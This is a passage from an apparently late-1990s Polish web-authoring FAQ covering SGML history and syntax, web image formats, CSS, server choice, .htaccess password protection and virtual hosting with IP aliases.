lecz umieszczenie promowanego adresu w swojej (nie przekraczającej 4 linii) sygnaturce. Jeśli twoje dzieło jest anglojęzyczne warto pomyśleć na wysłaniem ogłoszenia o nim i na moderowaną grupę comp.infosystems.www.announce (koniecznie przeczytaj jej FAQ) Warto także pomyśleć o poinformowaniu rozmaitych usług wyszukiwawczych i katalogowych o istnieniu naszej strony. Jeśli bardzo nam zależy na wielkiej ilości odwiedzin można też wstąpić do sieci wymiany bannerów reklamowych BannerPower 400x50, 10 kB Bannermania 400x50, 20 kB Smartlinks 400x40, 7 kB oraz rozpocząć szeroko zakrojoną wykupując w różnych popularnych miejscach bannery. EPage < epage@ep.com< Newsgroups: comp.infosystems.www.announce,comp.answers,news.answers Subject: ** FAQ: How To Announce Your New Web Site (Other Places) ** Mariusz Majewski Promocja w sieci Internet Jak zostać dostawcą usług internetowych?, Czy na publikowanie czegoś w Sieci muszę mieć jakąś koncesję? O ile nie świadczysz telekomunikacyjnych usług powszechnych, nie sprzedajesz dostępu do sieci, ani nie łączysz sieci w budynkach mieszkalnych --- nie potrzebujesz. Ale to temat na inną grupę --- np. pl.listserv.polip Ministerstwo Łączności Prawo i komputery _ From: GSTANIAK@golem.ucms.lublin.pl SGML czyli Standard Generalized Markup Language (lub jak kto woli Standard Goldfarb Mosher Lorie) był pomysłem na ze standaryzowanie uogólnionego znakowania dokumentów i wyjście poza wąskie ramy konkretnych ,,uniwersalnych'' języków takich jak choćby groff czy texinfo (czy cała masa innych wynalazków typu sdf). Pod koniec lat sześćdziesiątych w USA i Kanadzie środowiska zawodowo zainteresowane publikowaniem dostrzegły konieczność oddzielenia formatu dokumentów od ich treści/struktury w celu zapewnienia ich przenośności oraz elastyczności w manipulowaniu ich zawartością. Chodziło o zastąpienie poleceń formatujących związanych z konkretnymi aplikacjami (typu "załaduj czcionkę Times New Roman wielkości 12 punktów", "zrób wcięcie szerokości 36 punktów" itp.) oznaczeniami typu ,,nagłówek sekcji'', ,,początek akapitu'', ,,indeks'', ,,pozycja indeksu" - wygląd poszczególnych elementów określany byłby przez konkretną aplikację według preferencji użytkownika. Pojawiła się idea "generic coding/generic markup", czyli ustandaryzowanego zestawu takich oznaczeń które mogłyby być stosowane w bardzo rożnego rodzaju publikacjach. Prace specjalnego komitetu GCA (Graphic Communications Association) opracowującego system oznaczeń znany jako GenCode (R) szybko wykazały, że dla rożnych dokumentów potrzebne są rożne zestawy oznaczeń, oraz ze samodzielne mniejsze dokumenty mogą stanowić elementy składowe większych publikacji. W roku 1969 pracownicy IBM, Charles Goldfarb, Edward Mosher i Raymond Lorie zaproponowali GML --- Generalized Markup Language który nie był, jak GenCode (R), prostym systemem oznaczeń, ale wprowadzał pojęcie formalnie definiowanego typu dokumentu i związanej z nim ścisłej, hierarchicznej struktury oznaczeń. GML odniósł sukces w przemyśle wydawniczym, w czym duża role odegrało wprowadzenie go jako standardu wewnętrznego dla publikacji IBM. W 1978 roku Amerykański Narodowy Instytut Standardów (ANSI) powołał komitet którego zadaniem było opracowanie standardu języka opisu tekstu. Do współpracy został zaproszony Charles Goldfarb, który wniósł do projektu szereg koncepcji opracowanych w międzyczasie na bazie GML. Pierwszy roboczy szkic SGML pojawił się w 1980 r., szósty, z roku 1983 został zarekomendowany przez GCA jako standard przemysłowy. SGML został przyjęty przez Urząd Kontroli Skarbowej USA (IRS) oraz Departament Obrony. Po reorganizacji projektu w 1984 roku w ramach ISO, w roku 1985 szkic standardu międzynarodowego został zaaprobowany przez Biuro Oficjalnych Publikacji Wspólnoty Europejskiej. Po roku prac edytorskich i poprawek, standard został przyjęty jako ISO 8879:1986 i opublikowany w rekordowym czasie po zatwierdzeniu, przy użyciu systemu SGML opracowanego przez Andersa Berglunda z CERN. Ostatnio aplikacje SGMLa również ulegają standaryzacji. Przykładem jest tutaj norma ISO 12083 wywodząca się z propozycji American Association of Publishers oraz European Phisical Society będąca próbą zestandaryzowania publikacji matematycznych. (ISO 12083) Innym pomysłem jest HyTime czyli w rozwinięciu HyTime: ISO 10744 Hypermedia/Time-based Structuring Language (o wiele bardziej rozbudowany niż inne np. HTML) zorientowany na aplikacje multimedialne. Kolejnym polem ekspansji SGMLa jest XML... History of Generalized Markup and SGML @ SGML/XML Home Page Dokument SGML składa się z kilku części: deklaracji SGMLa gdzie opisuje się klasę dokumentu, podstawowe parametry jego budowy i przetwarzania: używane zestawy znaków, dopuszczalne długości literałów (np. nazwy znaczników czy długość atrybutów), opcje minimalizacji (np. czy możliwe jest i w jakiej postaci pomijanie znaczników kończących element). Definicji Typu Dokumentu --- DTD , Document Type Definition --- gdzie jest zakodowana hierarchia elementów wraz z dopuszczalnymi atrybutami, ich dopuszczalnymi i domyślnymi wartościami, możliwą zawartością DTD jednoznacznie określa składnie danego typu dokumentu. zawartości dokumentu --- tzw. DOCUMENT INSTANCE (w wypadku wielu typów dokumentów zawierające także ,,zewnętrzne'' elementy sterujące tzw. ,,processing intructions'' (np. < ?php Date?< )) W wielu wypadkach deklarację stosuje się domyślną, a zamiast całego DTD umieszcza się Formal Public Indentifier (rozwiązywany zwykle przez parsery na właściwie DTD katalogu zawierającego zbiór dopuszczalnych deklaracji wraz z odsyłaczami do poszczególnych plików). Przy czym istnieje rozróżnienie na identyfikatory publiczne: czyli zarejestrowane i systemowe np.: tworzone ad hoc. Parser SGML (jak sama nazwa wskazuje) jest programem analizującym składnię dokumentu i to --- jeśli mowa o tzw. validating parsers --- nie tylko samą jednorazową dawkę informacji ale również deklarację SGML i DTD (wraz z jego składnią). Wyjście z parsera -- ESIS, czyli Element Structure Information Set --- może stanowić podstawę konwersji czy jakiejkolwiek obróbki dokumentu (łącznie z (re)formatowaniem, przy wykorzystaniu np. arkuszy stylistycznych DSSSL. Składnia DTD: < ELEMENT nazwa otwarcie zamknięcie (zawartość) < na przykład < !element linuxdoc o o (sect | chapt | article | report | book | letter | telefax | slides | notes | manpage ) < deklarujemy że element linuxdoc (nie obowiązkowy - pozycje ,,otwarcie'' i ,,zamknięcie'' (,,-'' to obowiązkowy, ,,o'' nie obowiązkowy ) może w sobie zawierać alternatywnie elementy sect , chapt , article i inne. , - wszystkie elementy muszą występować w określonym porządku & wszystkie elementy muszą występować, ale porządek dowolny | rozłączne lub - jeden lub tylko jeden może wystąpić + element musi wystąpić co najmniej raz ? element nie obowiązkowy * element może wystąpić raz lub więcej ENTITY --- ,,drobinka'': forma makroinstrukcji ATTLIST --- lista atrybutów ELEMENTU wraz z opcjami: < ATTLIST linuxdoc LANG (CDATA) #REQUIRED< #FIXED #REQUIRED #CURRENT - z poprzedniego użycia #CONFREF - referencje #IMPLIED Typy danych PCDATA - parsed character data - zwykłe dane tekstowe (z rozwijaniem entitles) RCDATA - replaceable chracter data CDATA - character data - zwykłe tekstowe --- nie przewidywana dalsza obróbka ANY - może zawierać PCDATA i inne elementy EMPTY ID - identyfikator SGMLowy IDREF - odwołanie do tegoż SGML: Introductions and Overviews @ SGML/XML Home Page TEI's "A Gentle Introduction to SGML." University of Waterloo. "SGML Introduction - An Introduction to the Standard Generalized Markup Language (SGML)", Typowy zestaw do przetwarzania SGMLa składa się z bibliotek DTD (mało kto buduje sam od podstaw własne definicje dokumentów, gdy już inni to zrobili), parsera SGML, zestawu konwerterów do formatów łatwych do druku, przeglądania oraz z edytora (i innych narzędzi) wspomagającego wprowadzanie oznakowanych tekstów. Podstawowym narzędziem służacym przetwarzaniu SGMLa jest parser analizujący deklarację SGML (tj. opcje minimalizacji, zestaw dopuszczalnych znaków), DTD a następnie sam dokument. Dostępnych jest kilka narzędzi tego typu: SGML Parser Materials (ARCSGML 1.0) Amsterdam SGML Parser SGMLS pierwszy z SGMLowych parserów autorstwa J. Clarka. SP silny zestaw i w świecie freeware (głównie dzięki silnej narzędziom wspomagającym, własnemu API i dostarczaniu z pewnym minimalnym zestawem HTMLowych DTD) najpopularniejszy. Osobną klasą narzędzi są rozmaite analizatory/kreatory DTD. Pomocne są do uczenia się/rozpoznawania możliwości danego formatu. perlSGML DTDParse Normana Walsha PSGML Do obróbki SGMLa przydatne są programy z pakietu SP takie jak spam --- strumieniowy edytor SGMLa mogący np. rozwijać entitles sgmlnorm --- normalizer kodu SGML --- uzupełniający wszystkie brakujące elementy do pełnego kodu sx --- konweter SGMLa do XMLa. sggrep (1) --- SGMLowy grep --- z pakietu Normalised SGML Library Do edycji SGMLa można wykorzystywać dowolny edytor tekstowy. Niektóre z nich mają nawet zbudowany non-valdating parser SGMLa (np. PSGML --- zestaw makroinstrukcji Emacsa w innych zaś można stosunkowo małym nakładem pracy dorobić syntax hightlihting --- jak w ViMie) Public SGML/XML Software @ SGML/XML Home Page Tony Graham Free SGML Transformation Tools _ Istnieje kilka uznanych formatów grafiki służących do prezentacji w pajęczynie: Graphics Interchange Format --- stworzony na zamówienie CompuServe INC. w 1987 roku (GIF87a) a następnie w 1989 r. zrewidowany (GIF89a). W tej chwili używa się zwykle tej drugiej wersji. Podstawowe cechy formatu to: paleta 256 kolorów (lub odcieni szarości) rozdzielczość dostosowana do przeciętnej rozdzielczości ekranu (72dpi) możliwość wyświetlania sekwencyjnego (w pierwszej kolejności uproszczony podgląd, a następnie wyostrzanie go do maksimum) --- przy zapisie ,,z przeplotem'' (Interlaced). kompresja z użyciem LZW (patent na tę technologię --- należący do firmy Unisys --- powoduje, że za rozprowadzanie narzędzi stworzonych po 1995 roku przetwarzających grafiki w tym formacie należy odprowadzać opłaty) nie jestem tego do końca pewien --- vide GIMP lub ImageMagick rozprowadzane jako GNU i wśród innych formatów używające m.in. GIFa. Przy czym, z tego co rozumiem jedynie pewne operacje --- takie jak przeźroczystość wykorzystują zastrzeżone fragmenty kodu) możliwość zdefiniowania jednego z kolorów jako przeźroczystego możliwość składowania w jednym pliku następujących po sobie w określonym porządku rysunków Nadaje się do stosunkowo prostych grafik, ikon. Martin Reddy Graphics File Formats Page GIF --- Graphics Interchange Format [w:] Graphics File Formats FAQ (Part 3 of 4): Where to Get File Format Specifications JPEG File Interchange Format (V1.02) Joint Photographic Engineering Group --- bitmapowy, przeznaczony do zapisywania 24-bitowego koloru (16,7 mln odcieni). Nadaje się do zdjęć i obrazów wielobarwnych. Stosuje algorytmy ze utratą danych (pozwalając jednak wybrać stopień kompresji). Progresive JPEG --- opracowany przez Netscape Communication pozwala na zastosowanie większego stopnia kompresji. JPEG File Interchange Format (V1.02) Tom Lane's JPEG FAQ (patrz też -- htmlhelp.com) JFIF - JPEG File Interchange Format [w:] Graphics File Formats FAQ (Part 3 of 4): Where to Get File Format Specifications PNG - Portable Network Graphics został opracowany przez zespół IETF pod kierunkiem Toma Boutella w odpowiedzi na zaostrzenie zasad używania formatu GIF. W przeciwieństwie do GIFa nie używa zastrzeżonych algorytmów (do kompresji używa RLE zamiast LZW ), jego używanie jest (i będzie) wobec tego bezpłatne, a co ważniejsze wszyscy mają jednakowy dostęp do pełnej jego specyfikacji. Jest rastrowym (bitmapowym), bezstratnym formatem graficznym przeznaczonym do wykorzystania w pajęczynie. Pozwala na sekwencyjne wyświetlanie/zapisywanie. Posiada zmienną paletę kolorów: od 1 do 8 bitów w wypadku palety 256 kolorowej do 8 i 16 bitów na każdy z kanałów RGB (czyli 48 bitów --- Truecolor), lub 16 bitów szarości z możliwością maskowania kolorów (do ośmiu przeźroczystych --- GIF jeden). Nadaje się tak do składowania i wyświetlania fotografii jak i prosty, jednokolorowych obrazów. (czyli będzie w stanie zastąpić tak JPEG jak i GIFa. Wadą jest brak pełnego wsparcia przez dostępne oprogramowanie (choć wersje 4.x.x. Navigatora i Internet Explorera już samodzielnie go obsługują) i nie ukończony proces standaryzacji. . PNG Homepage specyfikacja PNG PNG Resources RFC 2083 I T. Boutell, PNG (Portable Network Graphics) Specification Version 1.0 01/16/1997. (Liczba stron --- 102) TIFF Tag Image File Format jest formatem wymiany obrazów rastrowych pomiędzy programami (w tym także do obrazów skanowanych). Powstał w 1986 w Aldus Corporation (aktualnie części Adobe Software), we współpracy z Microsoft i Hewlett-Packard. Istnieje w wielu różnych odmianach, pozwala na włączanie innych formatów graficznych: JPEG, LZW, CCITT Group 4. Wykorzystywany m.in. w DTP, przemysłowym przetwarzaniu obrazów (systemy medyczne), przetwarzaniu faxów, itp. Nie obsługiwany bezpośrednio przez przeglądarki. TIFF 6.0 Specification Niles Ritter's Unofficial TIFF Home Page ale już tylko przy pomocy ,,wtyczek'' Przy czym rozgraniczenie pomiędzy ,,normalnymi'' formatami a tymi obsługiwanym przez ,,wtyczki'' nie wynika ze standardów co raczej z ograniczeń przeglądarek (w zasadzie każdy zarejestrowany przez IANA format plików, powinien być w ten czy w inny sposób obsłużony --- choćby przez zapamiętanie obrazka z CorelDraw na dysku). Understanding Image File Formats JPEG -vs- GIF? @ HTMLhelp.com Graphics File Formats FAQ Graphics formats for the World Wide Web @ W3C Encyclopedia of Graphics File Formats James D. Murray & William van Ryper 2nd Edition May 1996 Różnorodność sprzętowa u odbiorców tworzonych przez nas stron może być przekleństwem. Pomijam tutaj problem tworzenia ,,pod rozdzielczość''. Istotniejszy, choć nie zauważany jest fakt różnic w interpretacji 8bit koloru (256 odcieni) przez MS Windows (TM) i i MacOS (TM) Mają one wspólnych jedynie 216 barw (przy czym tylko 136 jest dostępnych poprzez nazwy w palecie Netscape Navigator . Lynda Weinman. Designing Web Graphics.2, New Riders, (1996). 216 safe-browser colors ``A Standard Default color Space for the Internet'' ``KOLOROWA'' część - pomoc.art.pl Pamiętaj o tym by nie zamieszczać na stronie startowej wielkich (tj. razem powyżej 20 KB) elementów graficznych. Możesz tym odstraszyć (wolne/przepełnione łącza) odbiorców pracujących na łączach o niskiej przepustowości. Pamiętaj o atrybucie ALT elementu IMG (alternatywny tekst używany, gdy grafika nie może być wyświetlona) --- jest on obowiązkowy w HTML 4.0. . Jednak nie należy popadać w przesadę: gdy używasz grafik tylko do elementów dekoracyjnych zamiast pisać ,,czerwona kropka'' wstaw np. ALT=" " Niech grafiki stanowią drobne urozmaicenie tekstu, immanentną całość jako ilustracje a nie jakość samą w sobie: Patrzcie co potrafię zrobić PhotoShopem Staraj się nie robić grafik zawierających napisy. A może ktoś to będzie chciał obejrzeć na 21 calowym monitorze. Pomijając fakt, że taka praktyka uniemożliwia normalne indeksowanie takich napisów --- niektóre roboty nie czytają nawet tego co jest zamieszczone jako ALT. WAI Accessibility Guidelines: Page Authoring Aby przygotować przeźroczyste grafiki, tj. w kolorze dowolnie definiowanego tła lub podkładu, należy zapamiętać je w formacie GIF 89a. Jest to opcja dostępna w prawie wszystkich aktualnie wydawanych programach graficznych zdalna konwersja GIFów do przeźroczystych Transparent/Interlaced GIF Resources Więcej informacji na stronie: Animated GIF Resources. Do tworzenia animowanych rysunków mogą służyć: Gif Construction Set dla Windows WebPaint - shareware dla W95 animate (1) z ImageMagick gimp GifMerge dla UNIXa Imagemap jest specyficzną formą odnośnika ukrytego pod obrazkiem. Klikając w daną część obrazu można wybrać odpowiadający mu odnośnik. Istnieją dwie formy imagemap: zlokalizowane na serwerze (i obsługiwane przez skrypty CGI) Server-side image maps zlokalizowane po stronie klienta --- Client-side image maps W większość przeglądarek pozwala na używanie obu typów (praktycznie wszystkie graficzne i Lynx (przy czym lepiej sobie radzi z tymi zlokalizowanymi po stronie klienta)) wykorzystując jako podkład tak tak GIFy jak i JPEG oraz (nowsze przeglądarki) PNG . Mapy mogą być tworzone ręcznie (ze żmudnym wyliczaniem koordynatów poszczególnych odnośników) bądź przy pomocy jednego z dedykowanych do tego celu narzędzi: Mapedit tak dla Win16, Win32 jak i X. . Web Hotspots Image Mappers @ Tucows Imagemap Help Page - IHiP _ Czy jest możliwe sterowanie wyglądem z dokładnością do pixela? Generalnie odpowiedź na tak postawione pytanie brzmi: nie Są co prawda firmy które coś podobnego obiecują... Lecz kłamią. W chwili obecnej jest to niemożliwe. Przynajmniej przy użyciu HTML/XMLa i technologii pokrewnych. Wysoką jakość typograficzną jest natomiast w stanie zapewnić PostScript i oparty na nim PDF (lecz wtedy i tak należy zamieścić alternatywną, HTMLową wersję dokumentu). W przyszłości, o ile firmy tworzące oprogramowanie zaimplementują odpowiednie specyfikacje sytuacja może się zmienić. Te specyfikacje to: CSS2 (wraz z CSS Positioning --- w tej chwili najbliższy (z wymienionych) realizacji --- być może już w wersjach 5.x przeglądarek Netscape i Microsoftu) XSL Precision Graphics Markup Language (PGML) Adobe Systems Incorporated, International Business Machines Corporation, Netscape Communications Corporation and Sun Microsystems, Inc., 03 April 1998 Choć, zważywszy na nacisk jaki przykłada się do niezależności przekazu od jego formy myślę że będzie to nie ziszczlane . Czy jest sens tworzyć prezentacje wymagające określonej rozdzielczości lub gamy kolorów? Chyba, że chcemy radykalnie ograniczyć sobie liczbę odbiorców. Niezależnie, od tego jaka jest najpopularniejsza, ,,robocza'' rozdzielczość ekranu naszych odbiorców musimy być przygotowani na wszelkie niestandardowości, np. kogoś kto siedzi przy wielkim (np. 21") monitorze stacji roboczej HP, albo przy palmtopie, czy starym monitorze VGA. 800x600 jest chyba najpopularniejszą obecnie rozdzielczością. Ale sporo sieci biurowych (dla unifikacji) stosuje np. 640x480. A z drugiej strony (o ile nie wydajemy ,,sieciowego dziennika'', z niedostępnymi archiwami) nie wiadomo jakich rozdzielczośći będzie się używać za parę lat (może te ozobne napisy będą się w niej przezentowały jak mały maczek). Warto pamiętać o tym, że niezależnie od wielkości ekranu wielkość plamki obrazu pozostaje (w przybliżeniu) taka sama. Kolejnym problemem jest ilość wykorzystywanych kolorów. Tutaj, nie jest to, tak jak w wypadku ,,pisania pod rozdzielczość'' kwestia manipulowania wielkością obrazu (czyli czymś co relatywnie łatwo można zmienić). Pojawia się problem testowania ,,aplikacji'' w niecodziennych warunkach, np. czarnobiały monitor, lub 16 kolorów. Oczywiście traci się wtedy część informacji. Problemem jest takie wysterowanie by mimo wszystko informacje były czytelne. Jak poprawić jakość wydruków? Należy napisać dedykowany wydrukom arkusz CSS. Uwzględniający lokalne tradycje typograficzne. Tylko, że chyba żaden z dostępnych w tej chwili programów nie potrafi tego wykorzystać. ;-((( Albo należy równolegle z HTMLem (stosowanym dla przeszukiwania, szybkości serwowania) generować PDFową lub RTF wersję dokumentów--- to drugie jest możliwe z użyciem arkuszy DSSSL dla HTMLa autorstwa Johna Bosaka Jeszcze innym rozwiązaniem (co prawda adresowanym jak rozumiem nie do autorów a do odbiorców) jest używanie technologii Smart WebPrint opracowanej przez Hewlett-Packard W tej chwili większość materiałów prezentowanych on-line marnie prezentuje się na papierze (i na odwrót). Typografia komputerowa praktycznie nie istnieje, a jeśli ktoś się nią (przynajmniej w Polsce) zajmuje to nie jako w oderwaniu od tej, typowej, przeznaczonej do prezentacji papierowych. CSS jest jednym z elementów przebudowy pajęczyny. Pozwala, przede wszystkim, rozdzielić strukturę dokumentu, jego treść od formy przekazu: czym innym są (inna rzecz, że w wypadku HTMLa bardzo słabo rozwinięte) znaczniki decydujące o odbiorze przekazu, a czymś innym elementy nadające im nowy wygląd i brzmienie. CSS został pomyślany jako uniwersalny system styli: jego wykorzystanie jest planowane tak z HTMLem jak i XML i innymi możliwymi językami znakowania. Do podstawowych problemów związanych z CSS należy niepełna, by nie napisać szczątkowa implementacja. Jedynie część specyfikacji jest realizowana przez dostępne przeglądarki. Sporo z tego co zostało zrealizowane działa inaczej niż w specyfikacjach. Np. powszechnie nie realizowanym jest CSS property first-line (bardzo przydatny w polskich warunkach --- jeśli chcemy naśladować ,,papierową'' typografię wręcz niezbędny --- w tej chwili zastępowany przez znaki spacji ``&amp;nbsp;'' na początku akapitów). CSS1 Test Suite @ W3C Style @ WebReview [...] < STYLE< .ukryty { display: none; color: white; } [...] < /STYLE< [...] < SPAN CLASS=ukryty< Ta strona używa CSS --- niestety twoja przeglądarka nie ma tej opcji aktywnej więc możesz nie zobaczyć części ozdobników. < /SPAN< [...] < STYLE< A { decoration: none; } [...] < /STYLE< [...] _ Jest wiele argumentów za tym by tego nie robić. Począwszy od ograniczania liczby odbiorców naszych informacji (czy to z powodu używania nie obsługującego ich oprogramowania, czy z wyłączenia odpowiednich opcji), poprzez zwiększania stopnia skomplikowania aplikacji do... W pewnych sytuacja mają jednak zastosowanie... programy mające działać niezależnie od stanu sieci dane zmieniające się dynamicznie w zależności od wyborów klienta (nie wpływające jednak na stan wzajemnych relacji klient-serwer) Trzeba jednak przeprowadzić rachunek czy inwestycje związane z kosztami budowy i utrzymania oprogramowania działającego w kompletnie nieprzewidywalnym środowisku (jakim jest (położona być może gdzieś daleko, na słabym łączu) stacja klienta, z przeglądarką o nieznanych parametrach) są równoważone przez efekt jaki można osiągnąć... W większości znanych mi wypadków NIE (po prostu większość znanych mi aplikacji to rozmaite zegarki, skaczące okienka, i inne ,,bajery''). Kolejnym problemem jest nie do końca opracowany model interakcji programów osadzonych w kodzie HTML/XML w strukturę dokumentu, w sposób jego analizy przez przeglądarkę (jest to jedna z przyczyn niekompatybilności rozmaitych wersji języków skryptowych). DOM Często w opisie zjawisk towarzyszących rozwojowy pajęczyny stosuje się opozycję: statyczne strony ,,informacyjne'' (które dla większości recenzentów są ,,przestarzałe'') kontra dynamiczne ,,prezentacje'' zawierające animacje (czy to w formie ikon czy większych form), przesuwające się napisy i inne ,,gadżety''. Czasem niektórzy napomykają o dynamicznym generowaniu stron na podstawie zawartości baz danych, zmieniających się warunków (np. czasu). Wydaje się, że tego typu rozróżnienia są bezsensowne. Ważniejszy dla odbiorcy jest (chyba?) przejrzysty interface, aktualność i kompletność prezentowanej informacji niż to jakie efekty graficzne zobaczy. Nie da się. Po chwili zastanowienia przyznasz rację, że niemożliwe jest napisanie programu który działając po stronie klienta pisze (bez zezwolenia na metodę PUT ) na serwerze lub bez programu wykonywanego przez serwer... Generalnie (w wypadku JavaScript polega to na testowaniu własności obiektu navigator Na przykład < HTML> < HEAD> if(navigator.app.Version.substring="MSIE"){window.location="dla_MSIE.html"} Danny Goodman DETECTING A JAVASCRIPT CLIENT The Ultimate JavaScript Client Sniffer: Determining Browser Vendor, Version, And Operating System With JavaScript Do rozpoznania wielkości okna przeglądarki (co wbrew pozorom nie równa się rozdzielczości ekranu ;-) służą obiekty: document.body.client.Width oraz document.body.client.Height Janusz Gerszberg ,,Optymalizacja pierwszej strony www'' (w:) Internet Developer 4/98 _ Pytanie rzeka... najlepiej spojrzeć na stronę WebCompare gdzie opisano (i porównano według przeróżnych kryteriów) większość dostępnych serwerów WWW. Ja osobiście (do prostego serwowania po HTTP) używałem boa --- małego, taniego (GNU) serwera autorstwa Paula Phillipsa (za to pozbawionego wielu przydatnych --- choć czasem niebezpiecznych --- opcji: SSI , bezpośredniej obsługi wirtualnych serwerów (można przypisać serwer do konkretnego portu, na konkretnym interface). Podobnymi parametrami użytkowymi charakteryzuje się XS-httpd Do poważniejszych zadań używam Apache --- potężne narzędzie, z dość łatwą integracją z bazami danych (dzięki PHP , embed perl lub mSQL-WWW). Netcraft donosi, że Apache stanowi (czerwiec 1998) niemal 50% z 2.5 miliona przebadanych serwerów HTTPd --- a następny zespół programistów, Microsoft, ma 20% udziałów w rynku ;-). A potencjalne niebezpieczeństwa ataku na system (choć do tej pory odkryto raczej błędy typu Denial of Service --- uniemożliwienia działania) można zwalczać przez zainstalowanie ,,wrapperów'' i ścian ognia. (wersje < = 1.2. --- działają w trybie HTTP/1.1) Wartym uwagi produktem jest napisany przez zespół z W3C serwer Jigsaw (w Javie --- więc naprawdę wieloplatformowy, choć niestety dość powolny) Ciekawym programem jest WM pozwalający wyeliminować specjalizowane skrypty CGI służące przeszukiwaniu czy liczeniu dostępów. Ci którzy używają w swojej sieci jakieś odmiany Novella powinni przyjrzeć się serwerowi YAWN napisanemu w Lublinie przez Artura Urbanowicza (a pozostali powinni to zobaczyć, choćby dla dokumentacji) Jeśli coś nas zmusza do używania platformy Win32 z dostępnych ,,za darmo'' produktów polecałbym Sambar WebServer Są wreszcie tacy, którzy lubią płacić za... coś co mogą otrzymać niemal za darmo... Lub potrzebują specyficznych własności oferowanych tylko przez tych producentów. Tym polecam ( ;-)))) ) produkty firm: Microsoft --- gdy mowa o serwerach mamy do wyboru Personal Web Serwer przeznaczony bardziej do testowania stron pisanych przy pomocy FrontPage niż do normalnej pracy albo Internet Information Serwer (wraz MS Index Serwer i MS Site Serwer oraz MS SQL Server) stanowiący dość rozbudowaną bazę pod ,,aplikacje intranetowe''. Od wersji 4.0. nadaje się chyba nawet do używania. Netscape Communication z Netscape FastTrack będącym całkiem prostym serwerem bez wyszukanych możliwości lub Netscape Enterprise Server Lotus/IBM i Lotus Notes wraz serwerem HTTP Domino Internet.com's WebCompare Nie Unixa, nie MacIntosha, nie MS Windows, a tę na której się najlepiej znasz i której ufasz... Ważne przy tym by była to platforma stabilna (tj. żeby serwer WWW był dostępny co najmniej przez 23.5 godziny na dobę ;-) i spełniająca Twoje wymagania odnośnie poziomu bezpieczeństwa, dostępnych narzędzi programistycznych i dostępności Przy czym w ,,Bezpieczeństwo w Unixie i Internecie'' można się spotkać z sugestią, że warto rozpatrzyć postawienie serwera HTTP na Macu (jako dysponującym z założenia mniejszą ilością usług, mniej znanym i używanym --- a więc trudniejszym do złamania) Internet.com's WebCompare O klasie danego serwisu (serwera) decyduje nie tylko to jakie usługi proponuje, ale także to jak sobie radzi z sytuacjami nietypowymi --- czy gdy użytkownik źle wpisze adres krzyczy na niego Bad URL, czy też stwierdza: Chyba się pomyliłeś. Masz oto skrócony spis mojej zawartości, i wybierz proszę, to czego szukałeś. Możesz także skorzystać z moich usług wyszukiwawczych Sposób reakcji na najbardziej podstawowe błędy (typu 404: file not found lub 403: Forbiden można ustawić w pliku srm.conf (w rodzinie serwerów z NSCA). konfiguracja obsługi błędów w NCSA httpd konfiguracja obsługi błędów w Apache W danym katalogu należy umieścić plik .htaccess o zawartości: AuthName this page AuthType basic AuthUserFile /home/looser/.htpasswd AuthGroupFile /dev/null require valid_user opis do kodu: tekst ,,this page'' można zastąpić czymkolwiek. /dev/null z AuthGroupFile należy zastąpić nazwą pliku (o ile chcemy stworzyć grupę) plik wymieniony w AuthUserFile powinien znajdować się w katalogu domowym użytkownika, nie zaś w public_html lub innym powszechnie dostępnym. Hasła dodaje się odpowiednim programem: htpasswd -c /home/looser/.htpasswd nazwa_użytkownika (-c jeśli tworzymy nowy plik). htpasswd jest w dystrybucji NCSA i Apache, w katalogu support (po zainstalowaniu Apache z RPM plik ten znajduje się w /usr/sbin/ W przypadku gdy użytkowników ma być więcej niż kilkudziesięciu, należy przejść na format DB lub DBM. Przeszukiwanie plików DB i DBM jest znacznie szybsze niż zwykłego tekstowego .htpasswd Ustawienia są analogiczne, tylko że zamiast zbioru funkcji Auth* mamy AuthDB* lub AuthDBM* i do zarządzania /usr/sbin/dbmmanage zamiast /usr/sbin/htpasswd Module mod_auth @ Apache Wystarczy odpowiednio ustawić ACLe (Access Controll List) do danych plików... Robi się to przy pomocy polecenia cacls.exe lub (lepiej) xcacls.exe. Nie bardzo mam przy tym pomysł czy i w jaki sposób można dokonywać tego zdalnie (poza dostępem po NetBIOS over TCP/IP). Użytkownicy takiego zasobu muszą być zarejestrowani w bazie użytkowników systemu. Najprościej i najbezpieczniej chyba zrezygnować z tej opcji (o ile nie posiadamy praw Manage users i nie godzimy się na pewne obniżenie ochrony serwera) z tej opcji. Inną możliwością jest napisanie własnej autentyfikacji przy użyciu np. ASP. From: W.Myszka@immt.pwr.wroc.pl W bardzo wielu przypadkach istnieje potrzeba wykorzystania jednego komputera do obsługiwania informacji dostarczonych przez kilku różnych klientów. Problem można rozwiązać na kilka różnych sposobów: 1. Informacje każdego klienta umieszczamy w innej kartotece i propagujemy odsyłacze: http://www.nasz.serwer.com.pl/klient1/ http://www.nasz.serwer.com.pl/klient2/ ... http://www.nasz.serwer.com.pl/klientN/ 2. Informacje umieszczamy w osobnych kartotekach i uruchamiamy kilka serwerów http; każdy korzystający z innego portu. Odsyłacze będą wyglądały wówczas tak: http://www.nasz.serwer.com.pl:8001/ dla klient1 http://www.nasz.serwer.com.pl:8002/ dla klient2 ... http://www.nasz.serwer.com.pl:800n/ dla klient lub jeżeli zarejestrujemy w DNS jako alias dla naszego serwera nazwy www.klient1.com.pl, ... , www.klientn.com.pl http://www.klient1.com.pl:8001/ dla klient1, http://www.klient2.com.pl:8002/ dla klient2 ... http://www.klientn.com.pl:800n/ dla klient Rozwiązania oba są bardzo proste, ale niezbyt eleganckie. Klient może domagać się występowania pod własną nazwą i nie godzić się na żadne "dopiski". W takiej sytuacji musimy uruchomić "serwery wirtualne". Musimy: mieć n wolnych numerów IP, zarejestrować serwery www.klient1.com.pl, ... , www.klient.com.pl używając tych numerów zdobyć odpowiednie oprogramowanie serwera pozwalającego na jednym komputerze obsłużyć kilka różnych adresów. Na przykład Apache spowodować, by komputer rozpoznawał jako swoje własne wszystkie powyższe adresy. Można to (lub nie można) zrealizować na kilka różnych sposobów. Zależy to od konkretnej wersji systemu operacyjnego i jest poza zakresem zainteresowania niniejszego FAQ. Najelegantszym rozwiązaniem jest zainstalowanie w komputerze kilku wirtualnych interfejsów sieciowych. Najmniej eleganckim - zainstalowanie kilku kart sieciowych :-) odpowiednio skonfigurować i uruchomić serwer WWW. W ostatecznym układzie sytuacja będzie wyglądać tak: na naszym komputerze będzie pracował jeden serwer www, który, w zależności od tego do jakiego adresu "zapuka" klient serwował będzie inny zestaw informacji... Aby dodać alias IP w Linuksie (z jądrem 2.0) wystarczy --- przy odpowiednio skompilowanym jądrze --- opcje Network Aliasing i IP Aliasing w make config wydać polecenie: root@domek %E7# /sbin/ifconfig eth0:10 192.168.17.1 broadcast 192.168.17.255 netmask 255.255.255.0 i odpowiednio ustawić routing... Większość współcześnie dystrybuowanych serwerów HTTP 